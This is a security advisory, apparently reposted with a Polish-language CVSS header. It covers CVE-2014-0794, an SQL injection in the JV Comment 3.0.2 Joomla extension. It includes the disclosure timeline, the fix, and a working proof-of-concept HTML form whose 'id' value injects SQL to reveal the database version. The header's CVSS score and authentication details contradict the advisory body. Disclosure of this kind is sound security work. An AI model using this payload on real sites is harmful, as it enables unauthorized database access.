Joomla JV Comment 3.0.2 SQL Injection

2014.01.24
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 4.3/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

Advisory ID: HTB23195 Product: JV Comment Joomla Extension Vendor: joomlavi.com Vulnerable Version(s): 3.0.2 and probably prior Tested Version: 3.0.2 Advisory Publication: January 2, 2014 [without technical details] Vendor Notification: January 2, 2014 Vendor Patch: January 14, 2014 Public Disclosure: January 23, 2014 Vulnerability Type: SQL Injection [CWE-89] CVE Reference: CVE-2014-0794 Risk Level: Medium CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in JV Comment Joomla Extension, which can be exploited to perform SQL Injection attacks. 1) SQL Injection in JV Comment Joomla Extension: CVE-2014-0794 The vulnerability exists due to insufficient validation of "id" HTTP POST parameter passed to "/index.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database. The following exploitation example displays version of MySQL database: <form action="http://[host]/index.php" method="post" name="main"> <input type="hidden" name="option" value="com_jvcomment"> <input type="hidden" name="task" value="comment.like"> <input type="hidden" name="id" value="1 AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))"> <input type="submit" id="btn"> </form> ----------------------------------------------------------------------------------------------- Solution: Update to JV Comment 3.0.3 More Information: http://extensions.joomla.org/extensions/contacts-and-feedback/articles-comments/23394 ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23195 - https://www.htbridge.com/advisory/HTB23195 - SQL Injection in JV Comment Joomla Extension. [2] JV Comment Joomla Extension - http://www.joomlavi.com/joomla-extensions/jv-comment.html - With JV Comment, adding a comment system to your articles is now as simple as installing a plug-in and adjusting a few parameters. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE? is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb? - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.


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